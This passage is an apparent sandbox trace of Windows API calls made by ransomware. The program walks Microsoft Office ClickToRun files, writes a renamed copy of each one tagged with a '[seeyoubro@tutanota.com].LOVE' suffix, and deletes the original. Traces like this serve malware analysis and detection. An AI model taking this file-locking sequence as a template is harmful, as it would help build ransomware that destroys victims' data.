(lpString=".bz2") returned 4 [0212.744] lstrcmpiW (lpString1=".bz2", lpString2=".exe") returned -1 [0212.744] lstrlenW (lpString=".7z") returned 3 [0212.744] lstrcmpiW (lpString1=".7z", lpString2="exe") returned -1 [0212.744] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVShNotify.exe") returned 74 [0212.744] lstrlenW (lpString=".dbf") returned 4 [0212.744] lstrcmpiW (lpString1=".dbf", lpString2=".exe") returned -1 [0212.744] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVShNotify.exe") returned 74 [0212.744] lstrlenW (lpString=".1cd") returned 4 [0212.744] lstrcmpiW (lpString1=".1cd", lpString2=".exe") returned -1 [0212.744] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVShNotify.exe") returned 74 [0212.744] lstrlenW (lpString=".jpg") returned 4 [0212.744] lstrcmpiW (lpString1=".jpg", lpString2=".exe") returned 1 [0212.744] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVShNotify.exe") returned 74 [0212.745] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVShNotify.exe") returned 74 [0212.745] lstrlenW (lpString=".doc") returned 4 [0212.745] lstrcmpiW (lpString1=".doc", lpString2=".exe") returned -1 [0212.745] lstrlenW (lpString=".docx") returned 5 [0212.745] lstrcmpiW (lpString1=".docx", lpString2="y.exe") returned -1 [0212.745] lstrlenW (lpString=".pdf") returned 4 [0212.745] lstrcmpiW (lpString1=".pdf", lpString2=".exe") returned 1 [0212.745] lstrlenW (lpString=".xls") returned 4 [0212.745] lstrcmpiW (lpString1=".xls", lpString2=".exe") returned 1 [0212.745] lstrlenW (lpString=".xlsx") returned 5 [0212.745] lstrcmpiW (lpString1=".xlsx", lpString2="y.exe") returned -1 [0212.745] lstrlenW (lpString=".ppt") returned 4 [0212.745] lstrcmpiW (lpString1=".ppt", lpString2=".exe") returned 1 [0212.745] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVShNotify.exe") returned 74 [0212.745] lstrlenW (lpString=".zip") returned 4 [0212.745] lstrcmpiW (lpString1=".zip", lpString2=".exe") returned 1 [0212.745] lstrlenW (lpString=".rar") returned 4 [0212.745] lstrcmpiW (lpString1=".rar", lpString2=".exe") returned 1 [0212.745] lstrlenW (lpString=".bz2") returned 4 [0212.745] lstrcmpiW (lpString1=".bz2", lpString2=".exe") returned -1 [0212.745] lstrlenW (lpString=".7z") returned 3 [0212.745] lstrcmpiW (lpString1=".7z", lpString2="exe") returned -1 [0212.745] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVShNotify.exe") returned 74 [0212.745] lstrlenW (lpString=".dbf") returned 4 [0212.745] lstrcmpiW (lpString1=".dbf", lpString2=".exe") returned -1 [0212.745] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVShNotify.exe") returned 74 [0212.745] lstrlenW (lpString=".1cd") returned 4 [0212.745] lstrcmpiW (lpString1=".1cd", lpString2=".exe") returned -1 [0212.745] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVShNotify.exe") returned 74 [0212.745] lstrlenW (lpString=".jpg") returned 4 [0212.745] lstrcmpiW (lpString1=".jpg", lpString2=".exe") returned 1 [0212.746] lstrcmpiW (lpString1=".exe", lpString2=".LOVE") returned -1 [0212.746] lstrlenW (lpString="MavInject32.exe") returned 15 [0212.746] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\MavInject32.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\mavinject32.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368 [0213.015] GetFileSizeEx (in: hFile=0x368, lpFileSize=0x37dff14 | out: lpFileSize=0x37dff14*=358616) returned 1 [0213.015] CloseHandle (hObject=0x368) returned 1 [0213.016] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\MavInject32.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\mavinject32.exe")) returned 0x20 [0213.016] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\MavInject32.exe.id-B4197730.[seeyoubro@tutanota.com].LOVE" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\mavinject32.exe.id-b4197730.[seeyoubro@tutanota.com].love")) returned 0xffffffff [0213.016] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\MavInject32.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\mavinject32.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368 [0213.016] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x37dfec0 | out: lpNewFilePointer=0x0) returned 1 [0213.016] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x37dfec0 | out: lpNewFilePointer=0x0) returned 1 [0213.016] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\MavInject32.exe.id-B4197730.[seeyoubro@tutanota.com].LOVE" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\mavinject32.exe.id-b4197730.[seeyoubro@tutanota.com].love"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x348 [0213.017] GetLastError () returned 0x0 [0213.017] ReadFile (in: hFile=0x368, lpBuffer=0x4088020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x37dfecc, lpOverlapped=0x0 | out: lpBuffer=0x4088020*, lpNumberOfBytesRead=0x37dfecc*=0x578d8, lpOverlapped=0x0) returned 1 [0213.207] WriteFile (in: hFile=0x348, lpBuffer=0x4088020*, nNumberOfBytesToWrite=0x578e0, lpNumberOfBytesWritten=0x37dfc94, lpOverlapped=0x0 | out: lpBuffer=0x4088020*, lpNumberOfBytesWritten=0x37dfc94*=0x578e0, lpOverlapped=0x0) returned 1 [0213.213] ReadFile (in: hFile=0x368, lpBuffer=0x4088020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x37dfecc, lpOverlapped=0x0 | out: lpBuffer=0x4088020*, lpNumberOfBytesRead=0x37dfecc*=0x0, lpOverlapped=0x0) returned 1 [0213.213] WriteFile (in: hFile=0x348, lpBuffer=0x4088020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x37dfc94, lpOverlapped=0x0 | out: lpBuffer=0x4088020*, lpNumberOfBytesWritten=0x37dfc94*=0xf2, lpOverlapped=0x0) returned 1 [0213.213] SetEndOfFile (hFile=0x348) returned 1 [0213.213] CloseHandle (hObject=0x348) returned 1 [0213.219] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x37dfec0 | out: lpNewFilePointer=0x0) returned 1 [0213.219] SetEndOfFile (hFile=0x368) returned 1 [0213.231] CloseHandle (hObject=0x368) returned 1 [0213.231] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\MavInject32.exe.id-B4197730.[seeyoubro@tutanota.com].LOVE", dwFileAttributes=0x20) returned 1 [0213.231] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\MavInject32.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\mavinject32.exe")) returned 1 [0213.231] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\MavInject32.exe") returned 73 [0213.231] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\MavInject32.exe") returned 73 [0213.232] lstrlenW (lpString=".doc") returned 4 [0213.232] lstrcmpiW (lpString1=".doc", lpString2=".exe") returned -1 [0213.232] lstrlenW (lpString=".docx") returned 5 [0213.232] lstrcmpiW (lpString1=".docx", lpString2="2.exe") returned -1 [0213.232] lstrlenW (lpString=".pdf") returned 4 [0213.232] lstrcmpiW (lpString1=".pdf", lpString2=".exe") returned 1 [0213.232] lstrlenW (lpString=".xls") returned 4 [0213.232] lstrcmpiW (lpString1=".xls", lpString2=".exe") returned 1 [0213.232] lstrlenW (lpString=".xlsx") returned 5 [0213.232] lstrcmpiW (lpString1=".xlsx", lpString2="2.exe") returned -1 [0213.232] lstrlenW (lpString=".ppt") returned 4 [0213.232] lstrcmpiW (lpString1=".ppt", lpString2=".exe") returned 1 [0213.232] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\MavInject32.exe") returned 73 [0213.232] lstrlenW (lpString=".zip") returned 4 [0213.232] lstrcmpiW (lpString1=".zip", lpString2=".exe") returned 1 [0213.232] lstrlenW (lpString=".rar") returned 4 [0213.232] lstrcmpiW (lpString1=".rar", lpString2=".exe") returned 1 [0213.232] lstrlenW (lpString=".bz2") returned 4 [0213.232] lstrcmpiW (lpString1=".bz2", lpString2=".exe") returned -1 [0213.232] lstrlenW (lpString=".7z") returned 3 [0213.232] lstrcmpiW (lpString1=".7z", lpString2="exe") returned -1 [0213.232] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\MavInject32.exe") returned 73 [0213.232] lstrlenW (lpString=".dbf") returned 4 [0213.232] lstrcmpiW (lpString1=".dbf", lpString2=".exe") returned -1 [0213.232] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\MavInject32.exe") returned 73 [0213.232] lstrlenW (lpString=".1cd") returned 4 [0213.232] lstrcmpiW (lpString1=".1cd", lpString2=".exe") returned -1 [0213.232] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\MavInject32.exe") returned 73 [0213.232] lstrlenW (lpString=".jpg") returned 4 [0213.232] lstrcmpiW (lpString1=".jpg", lpString2=".exe") returned 1 [0213.233] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\MavInject32.exe") returned 73 [0213.233] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\MavInject32.exe") returned 73 [0213.233] lstrlenW (lpString=".doc") returned 4 [0213.233] lstrcmpiW (lpString1=".doc", lpString2=".exe") returned -1 [0213.233] lstrlenW (lpString=".docx") returned 5 [0213.233] lstrcmpiW (lpString1=".docx", lpString2="2.exe") returned -1 [0213.233] lstrlenW (lpString=".pdf") returned 4 [0213.233] lstrcmpiW (lpString1=".pdf", lpString2=".exe") returned 1 [0213.233] lstrlenW (lpString=".xls") returned 4 [0213.233] lstrcmpiW (lpString1=".xls", lpString2=".exe") returned 1 [0213.233] lstrlenW (lpString=".xlsx") returned 5 [0213.233] lstrcmpiW (lpString1=".xlsx", lpString2="2.exe") returned -1 [0213.233] lstrlenW (lpString=".ppt") returned 4 [0213.233] lstrcmpiW (lpString1=".ppt", lpString2=".exe") returned 1 [0213.233] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\MavInject32.exe") returned 73 [0213.233] lstrlenW (lpString=".zip") returned 4 [0213.233] lstrcmpiW (lpString1=".zip", lpString2=".exe") returned 1 [0213.233] lstrlenW (lpString=".rar") returned 4 [0213.233] lstrcmpiW (lpString1=".rar", lpString2=".exe") returned 1 [0213.233] lstrlenW (lpString=".bz2") returned 4 [0213.233] lstrcmpiW (lpString1=".bz2", lpString2=".exe") returned -1 [0213.233] lstrlenW (lpString=".7z") returned 3 [0213.233] lstrcmpiW (lpString1=".7z", lpString2="exe") returned -1 [0213.233] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\MavInject32.exe") returned 73 [0213.233] lstrlenW (lpString=".dbf") returned 4 [0213.233] lstrcmpiW (lpString1=".dbf", lpString2=".exe") returned -1 [0213.233] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\MavInject32.exe") returned 73 [0213.234] lstrlenW (lpString=".1cd") returned 4 [0213.234] lstrcmpiW (lpString1=".1cd", lpString2=".exe") returned -1 [0213.234] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\MavInject32.exe") returned 73 [0213.234] lstrlenW (lpString=".jpg") returned 4 [0213.234] lstrcmpiW (lpString1=".jpg", lpString2=".exe") returned 1 [0213.234] lstrcmpiW (lpString1=".dll", lpString2=".LOVE") returned -1 [0213.234] lstrlenW (lpString="OfficeC2RCom.dll") returned 16 [0213.234] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\OfficeC2RCom.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\officec2rcom.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368 [0213.234] GetFileSizeEx (in: hFile=0x368, lpFileSize=0x37dff14 | out: lpFileSize=0x37dff14*=996568) returned 1 [0213.234] CloseHandle (hObject=0x368) returned 1 [0213.234] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\OfficeC2RCom.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\officec2rcom.dll")) returned 0x20 [0213.234] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\OfficeC2RCom.dll.id-B4197730.[seeyoubro@tutanota.com].LOVE" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\officec2rcom.dll.id-b4197730.[seeyoubro@tutanota.com].love")) returned 0xffffffff [0213.235] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\OfficeC2RCom.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\officec2rcom.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368 [0213.235] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x37dfec0 | out: lpNewFilePointer=0x0) returned 1 [0213.235] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x37dfec0 | out: lpNewFilePointer=0x0) returned 1 [0213.235] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\OfficeC2RCom.dll.id-B4197730.[seeyoubro@tutanota.com].LOVE" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\officec2rcom.dll.id-b4197730.[seeyoubro@tutanota.com].love"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x348 [0213.235] GetLastError () returned 0x0 [0213.235] ReadFile (in: hFile=0x368, lpBuffer=0x4088020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x37dfecc, lpOverlapped=0x0 | out: lpBuffer=0x4088020*, lpNumberOfBytesRead=0x37dfecc*=0xf34d8, lpOverlapped=0x0) returned 1 [0215.400] WriteFile (in: hFile=0x348, lpBuffer=0x4088020*, nNumberOfBytesToWrite=0xf34e0, lpNumberOfBytesWritten=0x37dfc94, lpOverlapped=0x0 | out: lpBuffer=0x4088020*, lpNumberOfBytesWritten=0x37dfc94*=0xf34e0, lpOverlapped=0x0) returned 1 [0217.460] ReadFile (in: hFile=0x368, lpBuffer=0x4088020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x37dfecc, lpOverlapped=0x0 | out: lpBuffer=0x4088020*, lpNumberOfBytesRead=0x37dfecc*=0x0, lpOverlapped=0x0) returned 1 [0217.460] WriteFile (in: hFile=0x348, lpBuffer=0x4088020*, nNumberOfBytesToWrite=0xf4, lpNumberOfBytesWritten=0x37dfc94, lpOverlapped=0x0 | out: lpBuffer=0x4088020*, lpNumberOfBytesWritten=0x37dfc94*=0xf4, lpOverlapped=0x0) returned 1 [0217.460] SetEndOfFile (hFile=0x348) returned 1 [0217.460] CloseHandle (hObject=0x348) returned 1 [0217.479] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x37dfec0 | out: lpNewFilePointer=0x0) returned 1 [0217.479] SetEndOfFile (hFile=0x368) returned 1 [0217.588] CloseHandle (hObject=0x368) returned 1 [0217.588] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\OfficeC2RCom.dll.id-B4197730.[seeyoubro@tutanota.com].LOVE", dwFileAttributes=0x20) returned 1 [0217.589] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\OfficeC2RCom.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\officec2rcom.dll")) returned 1 [0217.589] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\OfficeC2RCom.dll") returned 74 [0217.589] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\OfficeC2RCom.dll") returned 74 [0217.589] lstrlenW (lpString=".doc") returned 4 [0217.589] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0217.589] lstrlenW (lpString=".docx") returned 5 [0217.589] lstrcmpiW (lpString1=".docx", lpString2="m.dll") returned -1 [0217.589] lstrlenW (lpString=".pdf") returned 4 [0217.589] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0217.589] lstrlenW (lpString=".xls") returned 4 [0217.589] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0217.589] lstrlenW (lpString=".xlsx") returned 5 [0217.589] lstrcmpiW (lpString1=".xlsx", lpString2="m.dll") returned -1 [0217.589] lstrlenW (lpString=".ppt") returned 4 [0217.589] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0217.589] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\OfficeC2RCom.dll") returned 74 [0217.589] lstrlenW (lpString=".zip") returned 4 [0217.589] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0217.589] lstrlenW (lpString=".rar") returned 4 [0217.590] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0217.590] lstrlenW (lpString=".bz2") returned 4 [0217.590] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0217.590] lstrlenW (lpString=".7z") returned 3 [0217.590] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0217.590] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\OfficeC2RCom.dll") returned 74 [0217.590] lstrlenW (lpString=".dbf") returned 4 [0217.590] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0217.590] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\OfficeC2RCom.dll") returned 74 [0217.590] lstrlenW (lpString=".1cd") returned 4 [0217.590] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0217.590] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\OfficeC2RCom.dll") returned 74 [0217.590] lstrlenW (lpString=".jpg") returned 4 [0217.590] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0217.590] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\OfficeC2RCom.dll") returned 74 [0217.590] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\OfficeC2RCom.dll") returned 74 [0217.590] lstrlenW (lpString=".doc") returned 4 [0217.590] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0217.590] lstrlenW (lpString=".docx") returned 5 [0217.590] lstrcmpiW (lpString1=".docx", lpString2="m.dll") returned -1 [0217.590] lstrlenW (lpString=".pdf") returned 4 [0217.590] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0217.590] lstrlenW (lpString=".xls") returned 4 [0217.590] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0217.590] lstrlenW (lpString=".xlsx") returned 5 [0217.590] lstrcmpiW (lpString1=".xlsx", lpString2="m.dll") returned -1 [0217.590] lstrlenW (lpString=".ppt") returned 4 [0217.590] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0217.590] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\OfficeC2RCom.dll") returned 74 [0217.591] lstrlenW (lpString=".zip") returned 4 [0217.591] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0217.591] lstrlenW (lpString=".rar") returned 4 [0217.591] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0217.591] lstrlenW (lpString=".bz2") returned 4 [0217.591] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0217.591] lstrlenW (lpString=".7z") returned 3 [0217.591] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0217.591] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\OfficeC2RCom.dll") returned 74 [0217.591] lstrlenW (lpString=".dbf") returned 4 [0217.591] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0217.591] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\OfficeC2RCom.dll") returned 74 [0217.591] lstrlenW (lpString=".1cd") returned 4 [0217.591] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0217.591] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\OfficeC2RCom.dll") returned 74 [0217.591] lstrlenW (lpString=".jpg") returned 4 [0217.591] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0217.591] lstrcmpiW (lpString1=".dll", lpString2=".LOVE") returned -1 [0217.591] lstrlenW (lpString="vcruntime140.dll") returned 16 [0217.592] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\vcruntime140.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\vcruntime140.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368 [0217.592] GetFileSizeEx (in: hFile=0x368, lpFileSize=0x37dff14 | out: lpFileSize=0x37dff14*=88752) returned 1 [0217.592] CloseHandle (hObject=0x368) returned 1 [0217.592] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\vcruntime140.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\vcruntime140.dll")) returned 0x20 [0217.592] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\vcruntime140.dll.id-B4197730.[seeyoubro@tutanota.com].LOVE" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\vcruntime140.dll.id-b4197730.[seeyoubro@tutanota.com].love")) returned 0xffffffff [0217.592] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\vcruntime140.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\vcruntime140.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0217.592] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\vcruntime140.dll") returned 74 [0217.592] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\vcruntime140.dll") returned 74 [0217.592] lstrlenW (lpString=".doc") returned 4 [0217.592] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0217.593] lstrlenW (lpString=".docx") returned 5 [0217.593] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1 [0217.593] lstrlenW (lpString=".pdf") returned 4 [0217.593] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0217.593] lstrlenW (lpString=".xls") returned 4 [0217.593] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0217.593] lstrlenW (lpString=".xlsx") returned 5 [0217.593] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1 [0217.593] lstrlenW (lpString=".ppt") returned 4 [0217.593] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0217.593] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\vcruntime140.dll") returned 74 [0217.593] lstrlenW (lpString=".zip") returned 4 [0217.593] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0217.593] lstrlenW (lpString=".rar") returned 4 [0217.593] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0217.593] lstrlenW (lpString=".bz2") returned 4 [0217.593] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0217.593] lstrlenW (lpString=".7z") returned 3 [0217.593] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0217.593] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\vcruntime140.dll") returned 74 [0217.593] lstrlenW (lpString=".dbf") returned 4 [0217.593] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0217.593] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\vcruntime140.dll") returned 74 [0217.593] lstrlenW (lpString=".1cd") returned 4 [0217.593] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0217.593] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\vcruntime140.dll") returned 74 [0217.593] lstrlenW (lpString=".jpg") returned 4 [0217.593] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0217.593] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\vcruntime140.dll") returned 74 [0217.594] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\vcruntime140.dll") returned 74 [0217.594] lstrlenW (lpString=".doc") returned 4 [0217.594] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0217.594] lstrlenW (lpString=".docx") returned 5 [0217.594] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1 [0217.594] lstrlenW (lpString=".pdf") returned 4 [0217.594] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0217.594] lstrlenW (lpString=".xls") returned 4 [0217.594] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0217.594] lstrlenW (lpString=".xlsx") returned 5 [0217.594] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1 [0217.594] lstrlenW (lpString=".ppt") returned 4 [0217.594] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0217.594] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\vcruntime140.dll") returned 74 [0217.594] lstrlenW (lpString=".zip") returned 4 [0217.594] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0217.594] lstrlenW (lpString=".rar") returned 4 [0217.594] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0217.594] lstrlenW (lpString=".bz2") returned 4 [0217.594] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0217.594] lstrlenW (lpString=".7z") returned 3 [0217.594] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0217.594] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\vcruntime140.dll") returned 74 [0217.594] lstrlenW (lpString=".dbf") returned 4 [0217.594] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0217.594] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\vcruntime140.dll") returned 74 [0217.594] lstrlenW (lpString=".1cd") returned 4 [0217.594] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0217.594] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\vcruntime140.dll") returned 74 [0217.594] lstrlenW (lpString=".jpg") returned 4 [0217.595] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0217.595] lstrcmpiW (lpString1=".mui", lpString2=".LOVE") returned 1 [0217.595] lstrlenW (lpString="tipresx.dll.mui") returned 15 [0217.595] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ar-SA\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ar-sa\\tipresx.dll.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x374 [0218.217] GetFileSizeEx (in: hFile=0x374, lpFileSize=0x37dff14 | out: lpFileSize=0x37dff14*=10752) returned 1 